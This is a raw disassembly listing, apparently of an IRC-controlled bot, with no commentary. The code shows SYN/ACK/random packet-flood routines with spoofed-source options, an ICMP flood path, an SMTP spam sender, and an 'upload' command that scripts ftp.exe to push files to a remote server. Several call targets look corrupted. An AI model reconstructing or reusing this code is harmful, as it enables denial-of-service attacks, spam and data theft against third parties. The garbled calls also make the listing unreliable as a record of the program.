		push	offset dword_42BBF8
		push	[ebp+esi+var_7C]
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CB5C4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB6D8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB6D4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB654
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CB6A4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		push	esi
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42B0D4


loc_406CD0:				; CODE XREF: sub_401ACD+2E83j
					; sub_401ACD+4667j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDC:				; CODE XREF: sub_401ACD+248Cj
		add	esp, 0Ch


loc_406CDF:				; CODE XREF: sub_401ACD+4585j
					; sub_401ACD+6654j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406D00
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_406D00:				; CODE XREF: sub_401ACD+29B3j
					; sub_401ACD+2A06j ...
		mov	esi, [ebp+arg_24]


loc_406D03:				; CODE XREF: sub_401ACD+68F3j
					; sub_401ACD+78E3j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D17:				; CODE XREF: sub_401ACD+50ADj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D41
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E9


loc_406D41:				; CODE XREF: sub_401ACD+525Bj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DC
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406D6F:				; CODE XREF: sub_401ACD+507Fj
					; sub_401ACD+5096j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		push	offset unk_42B08C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_406DD4:				; CODE XREF: sub_401ACD+52CDj
					; sub_401ACD+52E4j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406F00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E71
		mov	eax, offset aNormal ; "Normal"


loc_406E71:				; CODE XREF: sub_401ACD+539Dj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42B048
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset word_413E36
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_406EEF


loc_406ED9:				; CODE XREF: sub_401ACD+5420j
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_406ED9
; ---------------------------------------------------------------------------


loc_406EEF:				; CODE XREF: sub_401ACD+540Aj
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42B010
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406F00:				; CODE XREF: sub_401ACD+5318j
		push	offset unk_42AFD8


loc_406F05:				; CODE XREF: sub_401ACD+2019j
					; sub_401ACD+202Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_406F18:				; CODE XREF: sub_401ACD+503Aj
					; sub_401ACD+5051j ...
		cmp	dword_4CB744, ebx
		jnz	loc_407027
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42AF90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset byte_413285
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407016


loc_407000:				; CODE XREF: sub_401ACD+5547j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_407000
; ---------------------------------------------------------------------------


loc_407016:				; CODE XREF: sub_401ACD+5531j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42AF58
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407027:				; CODE XREF: sub_401ACD+5451j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_407042:				; CODE XREF: sub_401ACD+500Cj
					; sub_401ACD+5023j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42AF04
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713C


loc_4070C5:				; CODE XREF: sub_401ACD+561Cj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A5
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070ED
		cmp	eax, ebx
		jnz	short loc_40710C
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C5
		jmp	short loc_407145
; ---------------------------------------------------------------------------


loc_4070ED:				; CODE XREF: sub_401ACD+560Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AECC


loc_4070F6:				; CODE XREF: sub_401ACD+5681j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4072E9
; ---------------------------------------------------------------------------


loc_40710C:				; CODE XREF: sub_401ACD+5611j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AE98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_40713C:				; CODE XREF: sub_401ACD+55F6j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E9


loc_407145:				; CODE XREF: sub_401ACD+561Ej
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE64
		jmp	short loc_4070F6
; ---------------------------------------------------------------------------


loc_407150:				; CODE XREF: sub_401ACD+4FC7j
					; sub_401ACD+4FDEj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B5
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BB
; ---------------------------------------------------------------------------


loc_4071B5:				; CODE XREF: sub_401ACD+56D7j
		mov	[ebp+var_C70], ebx


loc_4071BB:				; CODE XREF: sub_401ACD+56E6j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42AE1C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset byte_413411
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40725E


loc_40724C:				; CODE XREF: sub_401ACD+578Fj
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407279
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_40724C
; ---------------------------------------------------------------------------


loc_40725E:				; CODE XREF: sub_401ACD+577Dj
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_42ADE4


loc_40726A:				; CODE XREF: sub_401ACD+4E32j
					; sub_401ACD+62BFj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407279:				; CODE XREF: sub_401ACD+4E16j
					; sub_401ACD+5785j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	[ebp+var_4]


loc_407286:				; CODE XREF: sub_401ACD+22DFj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A9
; ---------------------------------------------------------------------------


loc_407299:				; CODE XREF: sub_401ACD+4F99j
					; sub_401ACD+4FB0j
		push	0Bh
		call	sub_40B33F
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407455
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ADA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_4072E9:				; CODE XREF: sub_401ACD+526Ej
					; sub_401ACD+563Aj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		push	4
		push	esi
		call	sub_416909
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407325
		push	esi
		push	offset unk_42AD7C
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_407325:				; CODE XREF: sub_401ACD+584Bj
		call	near ptr 2690E09h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F4
		push	offset unk_42AD0C
		jmp	short loc_4073F9
; ---------------------------------------------------------------------------


loc_4073F4:				; CODE XREF: sub_401ACD+591Ej
		push	offset unk_42ACDC


loc_4073F9:				; CODE XREF: sub_401ACD+5925j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407422
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_407422:				; CODE XREF: sub_401ACD+5937j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_40742E:				; CODE XREF: sub_401ACD+5986j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416909
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742E
; ---------------------------------------------------------------------------


loc_407455:				; CODE XREF: sub_401ACD+57E6j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748E
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748E:				; CODE XREF: sub_401ACD+59B6j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749B
		mov	[ebp+var_36C], ecx


loc_40749B:				; CODE XREF: sub_401ACD+59C6j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BD
		mov	[ebp+var_368], eax


loc_4074BD:				; CODE XREF: sub_401ACD+59E8j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750C
		mov	edi, offset dword_431B00


loc_4074D4:				; CODE XREF: sub_401ACD+5A21j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F2
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D4
		jmp	short loc_40750C
; ---------------------------------------------------------------------------


loc_4074F2:				; CODE XREF: sub_401ACD+5A17j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_370], ecx


loc_40750C:				; CODE XREF: sub_401ACD+5A00j
					; sub_401ACD+5A23j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751E
		push	offset unk_42ACA8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40751E:				; CODE XREF: sub_401ACD+5A45j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407559
		cmp	byte ptr [edi],	23h
		jz	short loc_407559
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407633
; ---------------------------------------------------------------------------


loc_407559:				; CODE XREF: sub_401ACD+5A5Aj
					; sub_401ACD+5A5Fj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757B
		push	offset unk_42AC74
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40757B:				; CODE XREF: sub_401ACD+5A92j
					; sub_401ACD+5A9Aj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762D
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407621


loc_4075FF:				; CODE XREF: sub_401ACD+5B52j
		cmp	eax, ebx
		jz	short loc_407621
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FF


loc_407621:				; CODE XREF: sub_401ACD+5B30j
					; sub_401ACD+5B34j
		mov	[ebp+var_344], 1
		jmp	short loc_407633
; ---------------------------------------------------------------------------


loc_40762D:				; CODE XREF: sub_401ACD+5B0Aj
		mov	[ebp+var_344], ebx


loc_407633:				; CODE XREF: sub_401ACD+5A87j
					; sub_401ACD+5B5Ej
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407684


loc_407671:				; CODE XREF: sub_401ACD+5BDAj
		push	esi


loc_407672:				; CODE XREF: sub_401ACD+5BC4j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AF
; ---------------------------------------------------------------------------


loc_407684:				; CODE XREF: sub_401ACD+5BA2j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407693
		cmp	byte ptr [eax],	23h
		jnz	short loc_407693
		push	eax
		jmp	short loc_407672
; ---------------------------------------------------------------------------


loc_407693:				; CODE XREF: sub_401ACD+5BBCj
					; sub_401ACD+5BC1j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407671
		mov	[ebp+var_3F4], bl


loc_4076AF:				; CODE XREF: sub_401ACD+5BB5j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C1
		mov	eax, offset aSequential	; "Sequential"


loc_4076C1:				; CODE XREF: sub_401ACD+5BEDj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AC0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40774F


loc_407739:				; CODE XREF: sub_401ACD+5C80j
		cmp	[ebp+var_340], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_407739
; ---------------------------------------------------------------------------


loc_40774F:				; CODE XREF: sub_401ACD+5C6Aj
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_42ABD4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407760:				; CODE XREF: sub_401ACD+4F6Bj
					; sub_401ACD+4F82j
		push	[ebp+arg_10]
		call	sub_40AAFA
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AB84
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset word_40C75A
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407855


loc_40783F:				; CODE XREF: sub_401ACD+5D86j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_40783F
; ---------------------------------------------------------------------------


loc_407855:				; CODE XREF: sub_401ACD+5D70j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42AB48
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407866:				; CODE XREF: sub_401ACD+4F2Ej
					; sub_401ACD+4F45j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42AB3C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A36
; ---------------------------------------------------------------------------


loc_40795E:				; CODE XREF: sub_401ACD+4F00j
					; sub_401ACD+4F17j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
